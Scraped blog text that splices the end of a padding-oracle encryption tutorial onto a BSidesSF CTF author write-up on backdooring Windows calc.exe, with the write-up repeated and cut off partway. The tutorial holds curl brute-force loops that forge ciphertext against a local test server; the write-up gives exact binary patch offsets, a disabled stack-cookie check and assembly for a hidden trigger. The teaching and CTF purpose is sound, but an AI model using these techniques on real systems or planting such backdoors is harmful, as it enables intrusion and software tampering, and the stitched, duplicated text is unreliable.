       => #<OpenSSL::Cipher::Cipher:0x00000001de2578>
    
      2.3.0 :003 > c.decrypt
       => #<OpenSSL::Cipher::Cipher:0x00000001de2578>
    
      2.3.0 :004 > c.key = ['c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1'].pack('H*')
       => "\xC0\x86\xE0\x8A\xD8\xEE\x0E\xBE|# \t\x9C\xFE\xC9\xEE\xA9\xA3F\xA1\bW\nOd\x94\xCF\xE7\xC2\xA3\x0E\xE1" 
    
      2.3.0 :005 > c.iv = ['78228d4760a3675aa08d47694f88f639'].pack('H*')
       => "x\"\x8DG`\xA3gZ\xA0\x8DGiO\x88\xF69" 
    
      2.3.0 :006 > c.update("IS THIS SECRET??") + c.final()
       => "NO, NOT SECRET!" 
    
    

    It's ciphertext that looks like ASCII ("IS THIS SECRET??") that decrypts to more ASCII ("NO, NOT SECRET!"). How's that even work!?

    We'll see shortly why this works, but fundamentally: we can arbitrarily choose the last block (I chose ASCII) for padding-oracle-based encryption. The previous blocks - in this case, the IV - is what we actually have to determine. Change that IV, and this won't work anymore.

    Calculate a block of ciphertext

    Okay, we've created the last block of ciphertext, CN. Now we want to create the second-last block, CN-1. This is where it starts to get complicated. If you can follow this sub-section, everything else is easy! :)

    Let's start by making a new ciphertext string, C'. Just like in decrypting, C' is a custom-generated ciphertext string that we're going to send to the oracle. It's made up of two blocks:

    • C'1 is the block we're trying to determine; we set it to all zeroes for now (though the value doesn't actually matter)
    • C'2 is the previously generated block of ciphertext (on the first round, it's CN, the block we randomly generated; on ensuing rounds, it's Cn+1 - the block after the one we're trying to crack).

    I know that's confusing, but let's push forward and look at how we generate a C' block and it should all become clear.

    Imagine the string:

      C' = 00000000000000000000000000000000 || CN
                    ^^^ CN-1 ^^^               
    

    Keep in mind that CN is randomly chosen. We don't know - and can't know - what C'2 decrypts to, but we'll call it P'2. We do know something, though - after it's decrypted to something, it's XOR'd with the previous block of ciphertext (C'1), which we control. Then the padding's checked. Whether or not the padding is correct or incorrect depends wholly on C'1! That means by carefully adjusting C'1, we can find a string that generates correct padding for P'2.

    Because the only things that influence P'2 are the encryption function, E(), and the previous ciphertext block, C'1, we can set it to anything we want without ever seeing it! And once we find a value for C' that decrypts to the P'2 we want, we have everything we need to create a CN-1 that generates the PN we want!

    So we create a string like this:

      00000000000000000000000000000000 41414141414141414141414141414141
            ^^^ C'1 / CN-1 ^^^                  ^^^ C'2 / CN ^^^
    

    The block of zeroes is the block we're trying to figure out (it's going to be CN-1), and the block of 41's is the block of arbitrary/random data (CN).

    We send that to the server, for example, like this (this is on Poracle's RemoteTestServer.rb app, with a random key and blank IV - you should be able to just download and run the server, though you might have to run gem install sinatra):

    • http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141

    We're almost certainly going to get a padding error returned, just like in decryption (there's a 1/256 chance it's going to be right). So we change the last byte of block C'1 until we stop getting padding errors:

    • http://localhost:20222/decrypt/0000000000000000000000000000000141414141414141414141414141414141
    • http://localhost:20222/decrypt/0000000000000000000000000000000241414141414141414141414141414141
    • http://localhost:20222/decrypt/0000000000000000000000000000000341414141414141414141414141414141
    • http://localhost:20222/decrypt/0000000000000000000000000000000441414141414141414141414141414141
    • ...

    And eventually, you'll get a success:

    $ for i in `seq 0 255`; do
    URL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x41414141414141414141414141414141" $i`
    echo $URL
    curl "$URL"
    echo ''
    done
    
    http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000141414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000241414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000341414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000441414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000541414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000000641414141414141414141414141414141
    Success!
    http://localhost:20222/decrypt/0000000000000000000000000000000741414141414141414141414141414141
    Fail!
    ...
    

    We actually found the valid encoding really early this time! When C'1 ends with 06, the last byte of P'2, decrypts to 01. That means if we want the last byte of the generated plaintext (P'2) to be 02, we simply have to XOR the value by 01 (to set it to 00), then by 02 (to set it to 02). 06 ⊕ 01 ⊕ 02 = 05. Therefore, if we set the last byte of C'1 to 05, we know that the last byte of P'2 will be 02, and we can start bruteforcing the second-last byte:

    $ for i in `seq 0 255`; do
    URL=`printf "http://localhost:20222/decrypt/0000000000000000000000000000%02x0541414141414141414141414141414141" $i`
    echo $URL
    curl "$URL"
    echo ''
    done
    
    http://localhost:20222/decrypt/0000000000000000000000000000000541414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000010541414141414141414141414141414141
    Fail!
    ...
    http://localhost:20222/decrypt/0000000000000000000000000000350541414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/0000000000000000000000000000360541414141414141414141414141414141
    Success!
    ...
    

    So now we know that when C'N-1 ends with 3605, P'2 ends with 0202. We'll go one more step: if we change C'1 such that P'2 ends with 0303, we can start working on the third-last character in C'1. 36 ⊕ 02 ⊕ 03 = 37, and 05 ⊕ 02 ⊕ 03 = 04 (we XOR by 2 to set the values to 0, then by 3 to set it to 3):

    $ for i in `seq 0 255`; do
    URL=`printf "http://localhost:20222/decrypt/00000000000000000000000000%02x370441414141414141414141414141414141" $i`
    echo $URL
    curl "$URL"
    echo ''
    done
    
    ...
    http://localhost:20222/decrypt/000000000000000000000000006b370441414141414141414141414141414141
    Fail!
    http://localhost:20222/decrypt/000000000000000000000000006c370441414141414141414141414141414141
    Success!
    ...
    

    So now, when C'1 ends with 6c3704, P'2 ends with 030303.

    We can go on and on, but I automated it using Poracle and determined that the final value for C'1 that works is 12435417b15e3d7552810313da7f2417

    $ curl 'http://localhost:20222/decrypt/12435417b15e3d7552810313da7f241741414141414141414141414141414141'
    Success!
    

    That means that when C'1 is 12435417b15e3d7552810313da7f2417, P'2 is 10101010101010101010101010101010 (a full block of padding).

    We can once again use XOR to remove 101010... from C'1, giving us: 02534407a14e2d6542911303ca6f3407. That means that when C'1 equals 02534407a14e2d6542911303ca6f3407), P'2 is 00000000000000000000000000000000. Now we can XOR it with whatever we want to set it to an arbitrary value!

    Let's say we want the last block to decrypt to 0102030405060708090a0b0c0d0e0f (15 bytes). We:

    • Add one byte of padding: 0102030405060708090a0b0c0d0e0f01
    • XOR C'1 (02534407a14e2d6542911303ca6f3407) with 0102030405060708090a0b0c0d0e0f01 => 03514703a4482a6d4b9b180fc7613b06
    • Append the final block, CN, to create C: 03514703a4482a6d4b9b180fc7613b0641414141414141414141414141414141
    • Send it to the server to be decrypted...
    $ curl 'http://localhost:20222/decrypt/03514703a4482a6d4b9b180fc7613b0641414141414141414141414141414141'
    Success
    

    And, if you actually calculate it with the key I'm using, the final plaintext string P' is c49f1fdcd1cd93daf4e79a18637c98d80102030405060708090a0b0c0d0e0f.

    (The block of garbage is a result of being unable to control the IV)

    Calculating the next block of ciphertext

    So now, where have we gotten ourselves?

    We have values for CN-1 (calculated) and CN (arbitrarily chosen). How do we calculate CN-2?

    This is actually pretty easy. We generate ourselves a two-block string again, C'. Once again, C'1 is what we're trying to bruteforce, and is normally set to all 00's. But this time, C'2 is CN-1 - the ciphertext we just generated.

    Let's take a new C' of:

    000000000000000000000000000000000 3514703a4482a6d4b9b180fc7613b06
            ^^^ C'1 / CN-2 ^^^                 ^^^ C'2 / CN-1 ^^^
    

    We can once again determine the last byte of C'1 that will cause the last character of P'2 to be valid padding (01):

    $ for i in `seq 0 255`; do
    URL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x3514703a4482a6d4b9b180fc7613b06" $i`
    echo $URL
    curl "$URL"
    echo ''
    done
    ...
    http://localhost:20222/decrypt/000000000000000000000000000000313514703a4482a6d4b9b180fc7613b06
    Fail!
    http://localhost:20222/decrypt/000000000000000000000000000000323514703a4482a6d4b9b180fc7613b06
    Fail!
    http://localhost:20222/decrypt/000000000000000000000000000000333514703a4482a6d4b9b180fc7613b06
    Success!
    ...
    

    ...and so on, just like before. When this block is done, move on to the previous, and previous, and so on, till you get to the first block of P. By then, you've determined all the values for C1 up to CN-1, and you have your specially generated CN with whatever value you want. Thus, you have the whole string!

    So to put it in another way, we calculate:

    • CN = random / arbitrary
    • CN-1 = calculated from CN combined with PN
    • CN-2 = calculated from CN-1 combined with PN-1
    • CN-3 = calculated from CN-2 combined with PN-2
    • ...
    • C1 = calculated from C2 combined with P2
    • C0 (the IV) = calculated from C1 combined with P1

    So as you can see, each block is based on the next ciphertext block and the next plaintext block.

    Conclusion

    Well, that's about all I can say about using a padding oracle vulnerability to encrypt arbitrary data.

    If anything is unclear, please let me know! And, you can see a working implementation in Poracle.rb.

    2 thoughts on “Going the other way with padding oracles: Encrypting arbitrary data!

    1. Reply

      Tim Smith

      Interesting article, thanks for making it.

      One thing was a little unclear:
      "Change the last byte of the empty block until the padding errors go away, then change the second last byte, third last, etc."
      So I thought "What? The second byte is already correct, I can't make errors go away by changing it".
      I worked it out (because I'd read "Padding oracle attacks: in depth"), and you explained it in full later, but as an overview that statement briefly added to my confusion.

      Keep up the good work.

      Oh, and in case someone else is reading this and thinking "yes, but what's the answer" - the implicit step is "..., update the last byte to yield a 2 instead of a 1, then change the second last byte..."

      1. Reply

        Ron Bowes Post author

        @Tim

        You're right, I could have gone into more detail there. I cover it more in-depth below, that section is just a quick summary. I'm going to update the language a bit to make it more clear what's happening, thanks for the feedback! :)

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode) » SkullSecurity


    In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode)

    Hey everybody,

    In addition to genius, whose writeup I already posted, my other favourite challenge I wrote for BSidesSF CTF was called launchcode. This will be my third and final writeup for BSidesSF CTF for 2019, but you can see all the challenges and solutions on our Github releases page.

    This post will be more about how I developed this, since the solution is fairly straight forward once you know how it's implemented.

    The idea came to me while my boyfriend, Chris, was playing a game on Steam Link. Due to an odd bug, while playing Dark Souls, the Steam Link kept shutting off. Eventually, we realized that even though the game was running, the Steam menu was still "in focus". That means that while he was playing the game, he was also moving around and clicking things on the menu. Very reminiscent of Clickjacking attacks.

    I tried to figure out something I could do with this, and slept on it. The next day, I had an idea: I'd write a backdoor into Windows Calculator such that, when a special code was entered, it'd decrypt and display the flag. Just like Steam Link, you'd be entering the code in the background as you're doing calculations.

    I really wanted some Windows reverse engineering challenges, not to mention oldschool software references, so this was perfect!

    You can grab the patched binary and try it out, if you like! The code for that version is 9*4+0839, and the flag looks like this:

    Getting calc.exe

    I initially tried using c:\windows\system32\calc.exe from Windows 7, since that's the version I had handy. I found the place where I wanted to add the custom code, then made a small change to make sure it'd work, and it started crashing immediately. Even changing a simple string prevented it from starting. I'm assuming it was due to code signing, but I'm not 100% sure. It also required the en/ or en-US/ folder to be present, which was annoying. I quickly gave up on that.

    I decided to use Windows 2003 instead. I had the ISO for the OS handy, but didn't really want to install it. I had no idea how Windows was packaged, so I just mounted the iso:

    $ sudo mount -o loop,ro -t iso9660 Windows2003r2_Standard_SP2_x86_cd1.iso /mnt/tmp
    

    Then explored the filesystem:

    /mnt/tmp $ find . -name '*calc*'
    ./i386/calc.ch_
    ./i386/calc.ex_
    ./i386/calc.hl_
    ./i386/compdata/calcomp.htm
    ./i386/compdata/calcomp.txt
    

    Looks promising! What's calc.ex_?

    $ file ./i386/calc.ex_
    ./i386/calc.ex_: Microsoft Cabinet archive data, 41953 bytes, 1 file
    

    This is just like a little CTF challenge!

    Apparently I already had cabextract installed, so I tried it:

    $ cabextract -d /tmp ./i386/calc.ex_
    Extracting cabinet: ./i386/calc.ex_
      extracting /tmp/calc.exe
    
    All done, no errors.
    $ file /tmp/calc.exe
    /tmp/calc.exe: PE32 executable (GUI) Intel 80386, for MS Windows
    

    Huh, that was easy! You can download the base calc.exe if you want to follow along pre-modification.

    Finding a place for code

    I spent a lot of time coming up with ideas of how to backdoor calc.exe. I could have used a tool like Backdoor Factory, but that wasn't quite right! I also had the idea of using debug hooks and causing exceptions to gain control, but I couldn't get that to work.

    Instead, I decided to find a place right in the binary where I could put a decent chunk of assembly code - like 150 bytes or so - that could handle all the logic. Then I'd just find the part of the code that handles "button pressed", and call my backdoor code. That way, each button press, I could do some arbitrary calculation, then return control as if nothing had ever happened.

    The question is, where? How do I spot useless code? In particular, in an executable segment?

    TL;DR: I just wrecked up built-in security functionality. :)

    I scrolled around for awhile, trying to think of where to put it. Then I noticed this:

    .text:01007E2C ; =============== S U B R O U T I N E =======================================
    .text:01007E2C
    .text:01007E2C ; Attributes: library function
    .text:01007E2C
    .text:01007E2C ; __fastcall __security_check_cookie(x)
    .text:01007E2C @__security_check_cookie@4 proc near    ; CODE XREF: sub_1001B19+470p
    .text:01007E2C                                         ; sub_100209C+2E0p ...
    .text:01007E2C
    .text:01007E2C var_2AC         = byte ptr -2ACh
    .text:01007E2C
    .text:01007E2C                 cmp     ecx, ___security_cookie
    .text:01007E32                 jnz     short $failure$18941
    .text:01007E34                 retn
    ...
    

    __security_check_cookie()? Who the heck needs a stack cookie for Windows Calculator, right? What are you going to do, hack yourself? :)

    So I went ahead and changed the first byte of the function (0x01007E2C is the virtual address, or 0x722c in the file) to 0xc3 - ret. Then I ran calc.exe and verified that everything still worked. In theory, it's slightly less secure - hah.

    The rest of the function - 0x01007E2D up to 0x01007EC9 (156 bytes) - was now entirely unused. Perfect!

    Finding a place for data

    Next, I needed a part of memory that I can read/write to store the encrypted flag (so I could decrypt it later). There are plenty of easier ways to do this - such as by decrypting it on the stack - but this seemed easy enough to do. I also needed a smaller piece of unused memory to store the count (which is incremented each time the correct button is pressed - we'll see that later).

    In the start() function, I noticed this code:

    .text:01012986                 push    offset unk_1014010
    .text:0101298B                 push    offset unk_101400C
    .text:01012990                 call    _initterm
    

    I don't care about terminal stuff, so maybe I could just kill that code and use that memory? While writing this blog, I actually looked up what initterm is, and realized that it isn't even doing anything - it just points to two NULL addresses.

    So I went ahead and NOP'ed out that code, so those two memory addresses would remain untouched. Then I set the value at that address to 0x0000000, to initialize the counter (although I think it already had that value).

    For the actual flag, I had to store it in UTF-16, so if I wanted a 16 character flag, I needed 32 bytes of memory to store it in. That's a lot!

    I solved that problem by overwriting random unused-looking chunks of memory until calc.exe could start and avoid crashing. Probably not the cleanest solution - I may have redefined math as we know it - but it did the trick! That memory ended up starting here:

    .data:010140C0                 db    0
    .data:010140C1                 db    0
    .data:010140C2                 db 0FFh
    .data:010140C3                 db    0
    .data:010140C4                 db  50h ; P
    .data:010140C5                 db    0
    .data:010140C6                 db    0
    .data:010140C7                 db    0
    .data:010140C8                 db 0FFh
    .data:010140C9                 db    0
    .data:010140CA                 db    0
    .data:010140CB                 db    0
    ...32 bytes
    

    AFAICT, that data is never read (but it's certainly possible I'm wrong). I initialized that to the "encrypted" version of the flag, which is simply the 32 byte flag XORed by the values for certain calculator buttons - we'll see that later.

    So now we have space for code, a small amount of r/w memory (for a counter), and a larger amount of r/w memory (for the encrypted flag)! This could certainly have been done more easily, but I was finding memory as I needed it, so it became somewhat complex. Since this is a reverse engineering problem, that makes it all the more fun!

    Find where button presses are handled

    Now that we have space for code, how do we run the code?

    I wish I had a good story about how to find the code. In the Windows 7 version of calc.exe, I used the compiled-in symbols to quickly narrow it down. But the Windows 7 version didn't work, and Windows 2003 didn't have symbols.

    In the end, I literally just sorted the list of functions by length, and looked at the longest one: sub_10028A1.

    The body of that sub looks like:

    ...
    .text:010028C9                 jb      short loc_10028D3
    .text:010028CB                 cmp     esi, 8Dh
    .text:010028D1                 jbe     short loc_100292E
    .text:010028D3
    .text:010028D3 loc_10028D3:                            ; CODE XREF: sub_10028A1+28j
    .text:010028D3                 cmp     esi, 132h
    .text:010028D9                 jb      short loc_10028E3
    .text:010028DB                 cmp     esi, 135h
    .text:010028E1                 jbe     short loc_100292E
    .text:010028E3
    .text:010028E3 loc_10028E3:                            ; CODE XREF: sub_10028A1+38j
    .text:010028E3                 cmp     esi, 136h
    .text:010028E9                 jb      short loc_10028F3
    .text:010028EB                 cmp     esi, 139h
    .text:010028F1                 jbe     short loc_100292E
    .text:010028F3
    .text:010028F3 loc_10028F3:                            ; CODE XREF: sub_10028A1+48j
    .text:010028F3                 cmp     esi, 13Ah
    .text:010028F9                 jb      short loc_1002903
    .text:010028FB                 cmp     esi, 13Ch
    .text:01002901                 jbe     short loc_100292E
    ...
    

    Compare, jump, compare, jump, compare jump, etc. That looks like buttons being checked! The value being compared at each step is stored in esi, which is defined at the top of that function:

    .text:010028B7                 push    esi
    .text:010028B8                 mov     esi, [ebp+hMem]
    .text:010028BB                 mov     [ebp+var_14], eax
    .text:010028BE                 mov     eax, 8Ch
    .text:010028C3                 cmp     esi, eax
    

    To figure out what that value is, I set a breakpoint at 0x010028BB:

    0:000> bp 0x010028BB
    0:000> g
    

    Then I clicked on '0', and execution stopped! I used r esi to see the argument:

    Breakpoint 0 hit
    calc+0x28bb:
    010028bb 8945ec          mov     dword ptr [ebp-14h],eax ss:002b:000cfaa8=0100481e
    0:000:x86> r esi
    esi=0000007c
    0:000:x86> g
    

    Then I tried again with pressing '1':

    010028bb 8945ec          mov     dword ptr [ebp-14h],eax ss:002b:000cfaa8=0100481e
    0:000:x86> r esi
    esi=0000007d
    

    I tried a few more just to make sure, but it worked as as you'd expect: 2 was 0x7e, 3 was 0x7f, 4 was 0x80, and so on. Wonderful!

    Now that I know where button-pushes are processed, I know where I need to inject my code!

    Hooking execution

    Right at the start of sub_10028A1, the first two lines are:

    .text:010028A1 B8 4A 2D 01 01                 mov     eax, offset sub_1012D4A
    .text:010028A6 E8 F5 01 01 00                 call    sub_1012AA0
    .text:010028AB 81 EC D0 00 00+                sub     esp, 0D0h
    

    I'm not 100% sure what those first two lines are doing, and I still don't really know, but I do know that if I NOP out that code, everything still works. Perfect! I assume it's part of the "this execution is taking too long" code, since that stopped working when I added this patch. But we fix that later. :)

    The space I freed up for my code starts at 0x01007E2D - one byte past the start of __security_check_cookie, where we created a fake ret instruction.

    I want to change call sub_1012AA0 to call sub_1007E2D. The first byte of the original call - E8 - simply means "call a 4-byte relative address". The next 4 bytes are the offset from the start of the next instruction to the instruction we want to call (as little endian).

    What's that mean? It means that we need to know how far it is from the next instruction (0x010028AB) and the place we want to call (0x01007E2D). We can figure that out with simple math:

    0x01007E2D - 0x010028AB = 0x00005582
    

    So we simply change the instruction to "E8 82 55 00 00" - "call sub_1007E2D".

    Of course, right now there's just the remnants of the old function there, so if you call it, it'll crash. That brings us to the last major part - the payload!

    Payload

    The payload is the most important part! It's simply arbitrary assembly code that'll run each time a button is pressed.

    The way it works is, it takes the button code (such as 0x7c for '0') and compares it to the current byte of the expected code (starting at offset 0). If it doesn't match, we reset the counter and return. If it does match, we increment the counter and return if the counter is less than 8.

    When the counter reaches 8 - the length of the code - it runs the "decryption" code and pops up a MessageBox with the decrypted flag. The decryption code will XOR the first 4 bytes of the encrypted flag with the first byte of the code. The next 4 bytes with the next byte, and so on, until the 8 code bytes have decoded the 32 flag bytes.

    Note: this is not particularly good encryption, especially since the key is stored in memory. Don't do that if you want real security! :)

    Here's the full, annotated assembly:

    ; eax = current character
    mov eax, [ebp+8]
    pushad
    
    call get_values
      ; This is the expected code
      db 'XXXXXXXX'
    
      ; Get a handle to our "checker"
      get_values:
        pop esi
    
      ; Get the "index"
      mov ecx, [0x0101400c]
    
      ; Go to the "index"
      mov edx, esi
      add edx, ecx
    
      ; Check if we're good
      cmp byte [edx], al
    
      jz its_good
    
      ; If it's wrong, reset the count
      mov dword [0x0101400c], 0
      popad
      ret
    
    its_good:
      ; If it's right, increment the index
      inc ecx
      mov [0x0101400c], ecx
    
      ; Check if we're done
      cmp ecx, 0x08
      jl notdone
    
      ; If we ARE done, decode the actual flag
      ; esi = already the decoder string
      ; edi = the text
      mov edi, 0x010140c0
      xor ecx, ecx
    
    ; A little decoder loop
    top:
      mov al, [esi+ecx] ; al = this byte of the decoder string
    
      mov edx, ecx ; Multiply ecx by 4, so we can index into the encoded key
      shl edx, 2
    
      xor [edi+edx+0], al ; First byte
      xor [edi+edx+1], al ; Second byte
      xor [edi+edx+2], al ; Third byte
      xor [edi+edx+3], al ; First byte
    
      ; Increment the loop counter
      inc ecx
      cmp ecx, 0x08
      jl top
    
      ; Call MessageBoxW()!
      push 0
      push 0x010140c0 ; Decrypted flag
      push 0x010140c0 ; Decrypted flag
      push 0
      call [0x010011a8] ; MessageBoxW()
    
    notdone:
      popad
    ret
    

    You may note two odd things: first, we call MessageBoxW(). MessageBoxW() is the UTF-16 messagebox function in Windows. That means we need to use 2 bytes for every character of our flag. Why do we use that one? Because it's what calc.exe already imports - unfortunately, we can't easily get MessageBoxA() without using GetProcAddress() or some other trick.

    Second, the expected code is set to "XXXXXXXX". In the patch.rb file, I actually generate the code entirely randomly, encrypt the flag with it, and dynamically fill in the flag and the code!

    Here's what it looks like when I run the generator script:

    $ make
    ruby ./do_patch.rb
    Raw code: 5c 84 7e 5b 81 83 7f 84
    Code: + 8 2 * 5 7 3 8
    Code: ["5c847e5b81837f84"]
    Encoded flag: 1f 5c 08 5c c2 84 ff 84 32 7e 3f 7e 0e 5b 15 5b c2 81 c9 81 c6 83 c7 83 5e 7f 01 7f f9 84 84 84
    Patching 5 bytes @ 0x1ca6 from (inline data)
    Patching 1 bytes @ 0x722c from (inline data)
    Patching 15 bytes @ 0x11d86 from (inline data)
    Patching 115 bytes @ 0x722d from realpatch.bin
    Patching 4 bytes @ 0x1300c from (inline data)
    Patching 32 bytes @ 0x130c0 from (inline data)
    Patching 8 bytes @ 0x7236 from (inline data)
    Patching 16 bytes @ 0x3be6 from (inline data)
    

    It generated the code of +82*5738 - not quite so interesting, but that code is then written to 0x7236, which means it's written directly over the "XXXXXXXX" string!

    All said and done, the patch is 115 bytes long (with no real attempt to optimized my assembly). Not too shabby!

    Fixing "this calculation is taking too long"

    One funny thing - I was forever getting "This calculation is taking too long, would you like to continue?" messages. I tracked down the code to display it, and figured out it runs in a separate thread:

    .text:010047E1 75 18                          jnz     short loc_10047FB
    .text:010047E3 8D 45 FC                       lea     eax, [ebp+ThreadId]
    .text:010047E6 50                             push    eax             ; lpThreadId
    .text:010047E7 56                             push    esi             ; dwCreationFlags
    .text:010047E8 56                             push    esi             ; lpParameter
    .text:010047E9 68 1C 47 00 01                 push    offset StartAddress ; lpStartAddress
    .text:010047EE 56                             push    esi             ; dwStackSize
    .text:010047EF 56                             push    esi             ; lpThreadAttributes
    .text:010047F0 FF 15 2C 10 00+                call    ds:CreateThread
    

    By this point, I just wanted to go to bed (I wrote this whole thing in one evening!), so I literally just replaced that whole block of code - the pushes and the call - with NOPs. That thread no longer runs, and my problem is solved. :)

    I still have no idea why I started seeing that.. presumably, I accidentally killed the reset-timer code.

    Putting it all together

    All said and done, here are all the patches I just talked about, all in one place:

    patches = [
      # This patch calls the handler code at each character press by adding a "call"
      { offset: 0x1ca6,  max: 0x05, data: "\xe8\x82\x55\x00\x00" },
    
      # This patch gets rid of the "real" functionality by making it simply "return"
      { offset: 0x722c,  max: 0x01, data: "\xc3" },
    
      # This patch removs some console i/o stuff, giving us 20 bytes of freed-up
      # r/w memory where we store the counter
      { offset: 0x11d86, max: 0x0f, data: "\x90" * 0x0f },
    
      # This is the actual binary patch, which adds all the functionality (except
      # for the encoded flag)
      { offset: 0x722d,  max: 0x9c, file: 'realpatch.bin' },
    
      # This is the counter for the current byte we're at
      { offset: 0x1300c, max: 0x04, data: "\0\0\0\0" },
    
      # This is the r/w "encrypted" data (in maybe-unused memory)
      { offset: 0x130c0, max: 0x20, data: ENCODED_FLAG },
    
      # This is the r/o "validator" data (it's 9 past the start of the realpatch data)
      { offset: 0x722d+9, max: 0x08, data: CODE },
    
      # This kills the annoying "This operation is taking too long!!!" thread
      { offset: 0x3be6, max: 0x10, data: "\x90" * 0x10 },
    ]
    

    We replace the call to get control of code execution; we disable stack cookies to free up code space; we disable console i/o stuff to free up data stuff; we overwrite the stack cookie function with realpatch.bin; we reset the counter; we copy our encrypted flag to probably-unused memory; we patch the code directly into the assembly; and finally, we kill the "operation is taking too long" thread.

    Eight patches, and we have a cool backdoor in Calc! The coolest thing is, the flag and code are both generated dynamically. That means you can easily change the code and data and get your own encrypted flag!

    Solving it

    I honestly haven't solved it myself, other than typing in the code to verify it works, but I talked to one team and asked how they solved it.

    Their answer: "we diffed it with the real version, and the code stuck out like a sore thumb!"

    Once you know where the hook is, the assembly code I posted above is pretty easy to reverse engineer for somebody experienced in doing CTFs. Just gotta debug it to figure out how the codes (like 0x7C) correspond to buttons ('0')!

    One thought on “In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode)

    1. Reply

      JJ Maline

      What tool did you use to disassemble the binary file? None of my tools produce this output. I tired objdump, immunity.

      .text:01007E2C ; =============== S U B R O U T I N E =======================================
      .text:01007E2C
      .text:01007E2C ; Attributes: library function
      .text:01007E2C
      .text:01007E2C ; __fastcall __security_check_cookie(x)
      .text:01007E2C @__security_check_cookie@4 proc near ; CODE XREF: sub_1001B19+470p
      .text:01007E2C ; sub_100209C+2E0p ...
      .text:01007E2C
      .text:01007E2C var_2AC = byte ptr -2ACh
      .text:01007E2C
      .text:01007E2C cmp ecx, ___security_cookie
      .text:01007E32 jnz short $failure$18941
      .text:01007E34 retn
      ...

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode) » SkullSecurity


    In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode)

    Hey everybody,

    In addition to genius, whose writeup I already posted, my other favourite challenge I wrote for BSidesSF CTF was called launchcode. This will be my third and final writeup for BSidesSF CTF for 2019, but you can see all the challenges and solutions on our Github releases page.

    This post will be more about how I developed this, since the solution is fairly straight forward once you know how it's implemented.

    The idea came to me while my boyfriend, Chris, was playing a game on Steam Link. Due to an odd bug, while playing Dark Souls, the Steam Link kept shutting off. Eventually, we realized that even though the game was running, the Steam menu was still "in focus". That means that while he was playing the game, he was also moving around and clicking things on the menu. Very reminiscent of Clickjacking attacks.

    I tried to figure out something I could do with this, and slept on it. The next day, I had an idea: I'd write a backdoor into Windows Calculator such that, when a special code was entered, it'd decrypt and display the flag. Just like Steam Link, you'd be entering the code in the background as you're doing calculations.

    I really wanted some Windows reverse engineering challenges, not to mention oldschool software references, so this was perfect!

    You can grab the patched binary and try it out, if you like! The code for that version is 9*4+0839, and the flag looks like this:

    Getting calc.exe

    I initially tried using c:\windows\system32\calc.exe from Windows 7, since that's the version I had handy. I found the place where I wanted to add the custom code, then made a small change to make sure it'd work, and it started crashing immediately. Even changing a simple string prevented it from starting. I'm assuming it was due to code signing, but I'm not 100% sure. It also required the en/ or en-US/ folder to be present, which was annoying. I quickly gave up on that.

    I decided to use Windows 2003 instead. I had the ISO for the OS handy, but didn't really want to install it. I had no idea how Windows was packaged, so I just mounted the iso:

    $ sudo mount -o loop,ro -t iso9660 Windows2003r2_Standard_SP2_x86_cd1.iso /mnt/tmp
    

    Then explored the filesystem:

    /mnt/tmp $ find . -name '*calc*'
    ./i386/calc.ch_
    ./i386/calc.ex_
    ./i386/calc.hl_
    ./i386/compdata/calcomp.htm
    ./i386/compdata/calcomp.txt
    

    Looks promising! What's calc.ex_?

    $ file ./i386/calc.ex_
    ./i386/calc.ex_: Microsoft Cabinet archive data, 41953 bytes, 1 file
    

    This is just like a little CTF challenge!

    Apparently I already had cabextract installed, so I tried it:

    $ cabextract -d /tmp ./i386/calc.ex_
    Extracting cabinet: ./i386/calc.ex_
      extracting /tmp/calc.exe
    
    All done, no errors.
    $ file /tmp/calc.exe
    /tmp/calc.exe: PE32 executable (GUI) Intel 80386, for MS Windows
    

    Huh, that was easy! You can download the base calc.exe if you want to follow along pre-modification.

    Finding a place for code

    I spent a lot of time coming up with ideas of how to backdoor calc.exe. I could have used a tool like Backdoor Factory, but that wasn't quite right! I also had the idea of using debug hooks and causing exceptions to gain control, but I couldn't get that to work.

    Instead, I decided to find a place right in the binary where I could put a decent chunk of assembly code - like 150 bytes or so - that could handle all the logic. Then I'd just find the part of the code that handles "button pressed", and call my backdoor code. That way, each button press, I could do some arbitrary calculation, then return control as if nothing had ever happened.

    The question is, where? How do I spot useless code? In particular, in an executable segment?

    TL;DR: I just wrecked up built-in security functionality. :)

    I scrolled around for awhile, trying to think of where to put it. Then I noticed this:

    .text:01007E2C ; =============== S U B R O U T I N E =======================================
    .text:01007E2C
    .text:01007E2C ; Attributes: library function
    .text:01007E2C
    .text:01007E2C ; __fastcall __security_check_cookie(x)
    .text:01007E2C @__security_check_cookie@4 proc near    ; CODE XREF: sub_1001B19+470p
    .text:01007E2C                                         ; sub_100209C+2E0p ...
    .text:01007E2C
    .text:01007E2C var_2AC         = byte ptr -2ACh
    .text:01007E2C
    .text:01007E2C                 cmp     ecx, ___security_cookie
    .text:01007E32                 jnz     short $failure$18941
    .text:01007E34                 retn
    ...
    

    __security_check_cookie()? Who the heck needs a stack cookie for Windows Calculator, right? What are you going to do, hack yourself? :)

    So I went ahead and changed the first byte of the function (0x01007E2C is the virtual address, or 0x722c in the file) to 0xc3 - ret. Then I ran calc.exe and verified that everything still worked. In theory, it's slightly less secure - hah.

    The rest of the function - 0x01007E2D up to 0x01007EC9 (156 bytes) - was now entirely unused. Perfect!

    Finding a place for data

